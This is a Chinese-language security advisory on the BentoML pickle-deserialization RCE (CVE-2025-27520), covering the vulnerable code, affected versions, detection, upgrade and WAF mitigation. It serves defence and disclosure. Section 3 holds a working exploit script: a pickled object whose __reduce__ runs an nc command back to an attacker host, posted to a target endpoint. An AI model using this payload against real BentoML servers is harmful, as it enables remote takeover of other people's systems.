BentoML远程代码执行漏洞(CVE-2025-27520)详解与防护指南

BentoML是一个流行的Python开源库,专门用于快速部署和管理机器学习模型的在线服务。近期发现了一个极其严重的安全漏洞------远程代码执行(RCE),编号为CVE-2025-27520,漏洞评分高达9.8(CVSSv3),意味着攻击者可以远程执行任意代码,完全控制服务器,风险极大。

1. 漏洞基础知识点

什么是远程代码执行(RCE)?

远程代码执行指攻击者通过网络向目标系统发送恶意数据,使系统执行攻击者指定的代码,导致系统被控制、数据泄露或破坏。

什么是反序列化漏洞?

反序列化是将数据从存储或传输格式(如二进制)转换回程序对象的过程。如果反序列化过程不安全,攻击者可以构造恶意数据,利用程序自动执行恶意代码。

BentoML中的漏洞原理

BentoML在处理机器学习模型请求时,会反序列化(deserialize)客户端发送的"payload"(数据包)。漏洞出现在serde.py文件中的deserialize_value函数:

python 复制代码
def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

这里使用了Python的pickle模块反序列化数据,但没有对输入数据做任何安全检查,导致攻击者可以发送恶意构造的pickle数据,执行任意Python代码。

2. 漏洞影响范围

  • 受影响版本:BentoML 1.3.8 到 1.4.2(官方最初报告为1.3.4起,但实际分析确认是从1.3.8开始)
  • 修复版本:1.4.3及以后版本
  • 影响用户:所有使用BentoML接收和处理外部机器学习请求的用户,尤其是直接或间接处理序列化数据的场景。

3. 漏洞利用示例(Python代码)

攻击者可以构造一个恶意的Python对象,利用__reduce__方法执行系统命令。示例代码如下:

python 复制代码
import pickle
import os
import requests

# HTTP请求头,指定内容类型为BentoML的pickle格式
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

# 恶意类,利用__reduce__执行系统命令
class Evil:
    def __reduce__(self):
        # 这里以启动一个反向shell为例,连接攻击者主机
        return (os.system, ('nc 192.168.1.100 1234',))

# 序列化恶意对象
payload = pickle.dumps(Evil())

# 发送恶意请求到目标BentoML服务
requests.post("http://目标服务器IP:端口/接口路径", data=payload, headers=headers)

说明:

  • nc是netcat工具,用于建立网络连接,攻击者监听1234端口,服务器连接后即被控制。
  • 真实攻击中,IP和端口需替换为攻击者控制的地址。
  • 该请求会被BentoML反序列化,执行os.system命令,导致远程代码执行。

4. 漏洞产生的原因与历史

  • 该漏洞是之前CVE-2024-2912的"复现",原漏洞在1.2.5版本修复。
  • 但修复代码在1.3.8版本被意外移除,导致漏洞重新出现。
  • 1.4.3版本重新修复了该问题,禁止了不安全的pickle反序列化。

5. 如何检测是否受影响

  • 查看BentoML版本:
bash 复制代码
pip show bentoml
  • 检查版本号是否在1.3.8至1.4.2之间。
  • 也可以在Python环境中查找bentoml-版本号.dist-info目录。
  • 生成软件物料清单(SBOM)检查依赖链中是否包含受影响版本。

6. 如何修复和防护

最简单有效的办法:升级BentoML

bash 复制代码
pip install -U bentoml==1.4.3

升级到1.4.3或更高版本,官方已修复该漏洞。

临时缓解措施

  • 配置Web应用防火墙(WAF),阻止Content-Type为application/vnd.bentoml+pickle的HTTP请求。
  • 对输入数据进行严格验证,避免反序列化不可信数据。
  • 监控异常网络连接和系统行为,及时发现攻击迹象。

7. 代码示例:安全升级后的反序列化示范

升级后,BentoML会拒绝不安全的pickle请求,示例伪代码:

python 复制代码
def deserialize_value(self, payload: Payload) -> t.Any:
    if payload.metadata.get("content-type") == "application/vnd.bentoml+pickle":
        raise ValueError("Pickle deserialization is disabled for security reasons.")
    # 其他安全的反序列化逻辑

8. 总结

关键点 说明
漏洞类型 远程代码执行(RCE)
漏洞原因 不安全的pickle反序列化
受影响版本 BentoML 1.3.8 ~ 1.4.2
修复版本 BentoML 1.4.3及以上
危害 服务器被远程控制,数据泄露,服务中断等
推荐措施 立即升级BentoML,配置WAF,监控异常行为
相关推荐
aiopencode2 分钟前
Flutter快学快用24讲--09 单元测试:Flutter 应用单元测试,提升代码质量
后端
调试人生的显微镜2 分钟前
Nativefier——可以把网页打包成exe的工具
后端
疯狂的程序猴2 分钟前
android studio 运行flutter报错
后端
duan8476 分钟前
CentOS 7 离线安装 Docker
后端
AronTing11 分钟前
09-RocketMQ 深度解析:从原理到实战,构建可靠消息驱动微服务
后端·面试·架构
爱上大树的小猪11 分钟前
【前端样式】使用CSS Grid打造完美响应式卡片布局:auto-fill与minmax深度指南
前端·css·面试
方块海绵13 分钟前
RabbitMQ总结
后端
星辰大海的精灵14 分钟前
Python 中利用算法优化性能的方法
后端·python
雷渊15 分钟前
深度分析Scroll API(滚动搜索)方案
后端
AronTing15 分钟前
11-Spring Cloud OpenFeign 深度解析:从基础概念到对比实战
后端·spring cloud·架构